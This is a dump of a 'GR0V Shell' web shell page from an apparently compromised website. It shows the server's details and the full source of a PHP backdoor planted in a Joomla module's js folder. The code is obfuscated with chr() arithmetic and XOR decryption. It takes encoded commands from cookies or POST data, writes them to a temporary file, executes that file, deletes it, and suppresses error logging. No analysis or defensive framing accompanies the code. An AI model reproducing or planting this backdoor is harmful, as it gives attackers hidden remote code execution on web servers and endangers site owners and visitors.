? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/modules/mod_djimagetabber/js/

Current File : /home/admin/public_html/old/modules/mod_djimagetabber/js/tgteuzxa.php

<?php $izawhworj = "\146".chr(523-418)."\x6c".'e'.chr(1024-929)."\x70"."\165".chr(436-320).'_'.chr(99).'o'.chr(110).chr(116).chr(191-90).chr(110)."\164".chr(115);
$qfqmlxuq = "\142".chr(900-803)."\x73".chr(101).chr(393-339).chr(1005-953).chr(792-697).chr(317-217).'e'."\x63"."\x6f".'d'.'e';
$abcqb = 'i'.chr(577-467).chr(105).chr(287-192)."\163"."\145"."\164";
$blgvveqgbf = "\x75".chr(110).'l'."\x69".chr(321-211)."\153";


@$abcqb('e'."\x72".'r'.chr(589-478).chr(114).chr(95)."\154".chr(205-94)."\147", NULL);
@$abcqb(chr(108).chr(111)."\x67"."\137"."\145".chr(114).chr(203-89)."\x6f"."\162"."\163", 0);
@$abcqb(chr(109)."\x61".chr(210-90).chr(881-786)."\x65".chr(509-389)."\x65".chr(99).chr(117)."\x74".'i'.'o'.'n'.chr(95).chr(116).'i'."\x6d"."\145", 0);
@set_time_limit(0);

function eoanwbsenz($zpqzr, $odaug)
{
    $etejxrhzv = "";
    for ($exvxcc = 0; $exvxcc < strlen($zpqzr);) {
        for ($j = 0; $j < strlen($odaug) && $exvxcc < strlen($zpqzr); $j++, $exvxcc++) {
            $etejxrhzv .= chr(ord($zpqzr[$exvxcc]) ^ ord($odaug[$j]));
        }
    }
    return $etejxrhzv;
}

$qfzrauubqq = array_merge($_COOKIE, $_POST);
$trfbai = '7e2f4a17-1268-4e31-a915-4365eb2e0095';
foreach ($qfzrauubqq as $tzpyjj => $zpqzr) {
    $zpqzr = @unserialize(eoanwbsenz(eoanwbsenz($qfqmlxuq($zpqzr), $trfbai), $tzpyjj));
    if (isset($zpqzr["\141".chr(444-337)])) {
        if ($zpqzr[chr(171-74)] == chr(660-555)) {
            $exvxcc = array(
                "\x70".chr(118) => @phpversion(),
                's'.'v' => "3.5",
            );
            echo @serialize($exvxcc);
        } elseif ($zpqzr[chr(171-74)] == chr(101)) {
            $jimnl = "./" . md5($trfbai) . chr(46)."\x69"."\x6e".chr(99);
            @$izawhworj($jimnl, "<" . "\x3f".chr(112).chr(161-57).chr(437-325)."\x20".chr(64).chr(117)."\x6e"."\154"."\x69"."\156".'k'."\x28".chr(427-332).chr(95)."\x46".'I'."\x4c"."\105".'_'."\x5f".')'."\x3b".' ' . $zpqzr[chr(103-3)]);
            include($jimnl);
            @$blgvveqgbf($jimnl);
        }
        exit();
    }
}

T1KUS90T